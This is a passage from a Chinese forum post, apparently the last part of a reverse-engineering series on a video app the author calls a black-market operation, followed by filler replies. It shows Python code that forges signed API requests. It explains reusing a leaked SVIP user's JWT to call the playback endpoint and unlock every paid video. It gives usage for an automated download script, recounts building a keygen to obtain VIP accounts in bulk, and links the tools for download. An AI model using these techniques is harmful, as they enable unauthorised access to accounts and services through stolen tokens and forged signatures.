  23.     timestamp = max(1, int(time.time()) - 5)
  24.     sign = compute_sign("GET", path, "", timestamp, device_id)

  25.     headers = {
  26.         "Accept": "application/x-protobuf",
  27.         "Authorization": bearer,
  28.         "X-Device-Id": device_id,
  29.         "X-Nonce": nonce,
  30.         "X-Sign": sign,
  31.         "X-Timestamp": str(timestamp),
  32.     }

  33.     resp = requests.get(base_url, headers=headers, timeout=30)
  34.     print(f"HTTP {resp.status_code}")
  35.     # 解析 protobuf 响应...
复制代码


这个脚本运行后,服务端返回了 protobuf 编码的响应。我们用脚本里自带的 decode_protobuf 函数解析,成功从中提取出了 M3U8 URL 和线路信息,我们成功获取了完整的金币视频!
而且,我们一口气就解锁了多条线路和多个画质。

最后,我们写了一个自动化脚本,只要提供视频ID和提取 JWT 的金币视频链接,就可以解锁全站任意视频。
脚本我已经放到文末了,需要的可以自行下载。

使用方法:

  1. usage: video_download.py [-h] [--vid VID] [--m3u8-url M3U8_URL] [--jwt JWT] [--endpoint {playback,preview}] [--save-links FILE] [--download-video] [--stream STREAM] [--download-dir DIR]
  2.                          [--concurrency CONCURRENCY]

  3. 视频自动解析脚本

  4. options:
  5.   -h, --help            show this help message and exit
  6.   --vid VID             视频 ID
  7.   --m3u8-url M3U8_URL   M3U8 链接(提取 JWT)
  8.   --jwt JWT             直接提供 JWT
  9.   --endpoint {playback,preview}
  10.                         请求接口(默认 playback)
  11.   --save-links FILE     保存链接到文件
  12.   --download-video      非交互模式: 下载视频
  13.   --stream STREAM       指定下载的流序号(配合 --download-video)
  14.   --download-dir DIR    下载目录
  15.   --concurrency CONCURRENCY
  16.                         并发下载数(默认 8)

  17. 示例:
  18.   video_download.py --vid 30053 --m3u8-url "https://preview.xxx/..."
  19.   video_download.py --vid 30053 --jwt "eyJ..."
  20.   video_download.py --vid 30053 --jwt "eyJ..." --download-video --stream 3
  21.   video_download.py                              # 交互模式
复制代码


运行效果:





我们可以看到,已经下载下来了完整的金币视频,也和网站中所写的视频时间一致:



这里要注意,original 和 480p 画质不太稳定,可能请求不成功,但是 1080p 和 720p 都是可以稳定请求的。

这告诉我们一个道理:一条路走到黑,在逆向的世界中,有很大概率是行不通的。只有灵活变换方向,才能真正看到柳暗花明。

七、总结

到这里,这场历时三篇、横跨数周的黑产全链路逆向终于结尾了
先给自己鼓个掌——能坚持看到这里的,都是真爱粉,也说明你对逆向是真有热情。废话不多说,咱们把这三篇的精华串起来,做个彻底的复盘。

上篇,我们像拆迁队一样,先把软件的外壳扒了个干净。从 APK 反编译到 Flutter 框架识别,确定了攻击面。最重要的是,我们深度解析了 APP 识别邀请的逻辑,讲解了 Signing Block V2 的基础知识。别看基础,但没有它,后面全是空中楼阁。

中篇,我们开始玩真的。Flutter 的代理绕过、证书锁定破解、Dart 层的 Blutter 逆向……每一步都是在跟黑产团伙斗智斗勇。最后,我们逆向出了 x-sign ,顺藤摸瓜找到了共享密钥,然后写出了注册机,批量搞到了 VIP 会员。

下篇,本以为VIP到手就结束了,结果发现还有金币视频这个“终极BOSS”。URL 签名、JWT 权限、Line ID……一层接一层的“铜墙铁壁”,差点把我劝退。但老天爷赏饭吃,居然让我们撞上了 JWT 信息泄露这种“天降馅饼”,裸链请求返回的 M3U8 里,赫然躺着 SVIP 用户的 JWT 。靠着它,再结合我们之前逆出来的 API 签名算法,直接调用 playback 接口,金币视频的完整播放地址一览无余。完美收官!


回顾整个过程,你会发现,真正牛逼的不是代码写得有多溜,而是思路。我送给大家几条:

1、别跟防御硬刚,要找它的“软肋”
金币视频的JWT校验那么强,但你非要自己去算或伪造吗?不,我们找到了JWT泄露这条捷径。有时候,绕过问题比解决问题更高效。

2、“降维打击”永远有效
Web端比App端好分析?那就去Web端逆向。VIP视频裸链能访问?那就拿这个思路去测金币视频。永远站在更高的维度看问题。

3、信息就是一切
整个系列下来,我们干的最多的事就是“收集信息”。从APP到社会工程学拿到网址、从URL结构到JS代码,从M3U8内容到JWT载荷,每一个碎片拼起来,就是一张完整的攻击地图。逆向的本质,就是把散落的信息重新组织成真相。

4、心态要稳,脸皮要厚
遇到“签名错误”“令牌无效”“错误的Line ID”的时候,我内心也是崩溃的。但没办法,搞逆向就是这样——99次失败换1次成功。关键是每次失败后,问自己一句:“还有什么我没试过的?”

经过这个系列的学习,也给我们开发者敲响了警钟。如果你是一名开发者,请记住:安全不是加几道锁就完事了,而是要系统性地设计,确保每一环都经得起推敲。
感谢各位的陪伴,咱们下个系列再见!

码字不易,点赞可有?
帖子内所有工具都已放在下面,可供大家练手,评论自取。
https://jiguro.lanzouw.com/iGuX63sfsggh

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
已有4人评分好评 金币 理由
天青色等烟雨i + 1 + 1
绝域天机 + 1 + 1 很给力!
秋枫Mod + 1 + 1
╰☆秋风oO + 1 + 1 有常人无法企及的耐心

查看全部评分 总评分:好评 +4  金币 +4 

回复

使用道具 举报

0

主题

243

回帖

721

积分

初中生

Rank: 3Rank: 3

金币
294
好评
0
信誉
100
发表于 2026-6-20 23:14:10 来自手机  | 显示全部楼层  来自 广东
看看
回复

使用道具 举报

7

主题

1479

回帖

6906

积分

硕士生

Rank: 6Rank: 6

金币
438
好评
22
信誉
112
发表于 2026-6-20 23:21:54 来自手机  | 显示全部楼层  来自 云南
羡慕什么都会的,不过这也太高产了,恐怖的码贴速度
回复

使用道具 举报

62

主题

3663

回帖

1万

积分

博士生

Rank: 7Rank: 7Rank: 7

金币
2495
好评
131
信誉
103

MT论坛新人MT论坛帅哥MT论坛侠客考神

发表于 2026-6-20 23:23:52 来自手机  | 显示全部楼层  来自 海南
能认真看完的都是大佬。
回复

使用道具 举报

47

主题

4309

回帖

1万

积分

博士生

这是?

Rank: 7Rank: 7Rank: 7

金币
2727
好评
11
信誉
117

MT论坛新人考神MT论坛最佳新人MT论坛活跃会员

发表于 2026-6-20 23:32:47 来自手机  | 显示全部楼层  来自 安徽
看看是啥
回复

使用道具 举报

1

主题

418

回帖

1881

积分

高中生

Rank: 4

金币
1062
好评
0
信誉
100
发表于 2026-6-20 23:33:20 来自手机  | 显示全部楼层  来自 广东
看看隐藏
回复

使用道具 举报

27

主题

1093

回帖

3768

积分

大学生

Rank: 5Rank: 5

金币
1819
好评
7
信誉
122
发表于 2026-6-21 09:21:43 来自手机  | 显示全部楼层  来自 新疆
看看隐藏
回复

使用道具 举报

134

主题

3460

回帖

1万

积分

博士生

无敌最俊朗

Rank: 7Rank: 7Rank: 7

金币
3010
好评
49
信誉
105
发表于 2026-6-21 09:34:55 来自手机  | 显示全部楼层  来自 浙江
学习学习
回复

使用道具 举报

2

主题

592

回帖

1818

积分

高中生

Rank: 4

金币
1562
好评
0
信誉
98

MT论坛新人考神

发表于 2026-6-21 09:55:03 来自手机  | 显示全部楼层  来自 广东
看看隐藏
回复

使用道具 举报

3

主题

1910

回帖

5986

积分

硕士生

Rank: 6Rank: 6

金币
2037
好评
1
信誉
100

MT论坛最佳新人考神MT论坛新人MT论坛帅哥

发表于 2026-6-21 10:00:45 来自手机  | 显示全部楼层  来自 天津
看看隐藏
回复

使用道具 举报

28

主题

6646

回帖

1万

积分

博士生

百川

Rank: 7Rank: 7Rank: 7

金币
8809
好评
1
信誉
150

MT论坛新人考神MT论坛帅哥

发表于 2026-6-21 10:01:16 来自手机  | 显示全部楼层  来自 四川
看看隐藏
回复

使用道具 举报

0

主题

1329

回帖

2784

积分

大学生

Rank: 5Rank: 5

金币
2140
好评
0
信誉
100
发表于 2026-6-21 10:11:14 | 显示全部楼层  来自 广东
学习学习
回复

使用道具 举报

39

主题

1055

回帖

3686

积分

大学生

Rank: 5Rank: 5

金币
19
好评
3
信誉
107

MT论坛新人考神MT论坛帅哥MT论坛最佳新人

发表于 2026-6-21 10:11:54 来自手机  | 显示全部楼层  来自 俄罗斯
看看
回复

使用道具 举报

0

主题

333

回帖

866

积分

高中生

Rank: 4

金币
713
好评
0
信誉
100
发表于 2026-6-21 11:01:10 来自手机  | 显示全部楼层  来自 新疆
感谢楼主
回复

使用道具 举报

30

主题

2579

回帖

5552

积分

硕士生

Rank: 6Rank: 6

金币
123
好评
3
信誉
109

考神MT论坛最佳新人MT论坛帅哥MT论坛新人

发表于 2026-6-21 11:16:22 来自手机  | 显示全部楼层  来自 广西
学习学习
回复

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表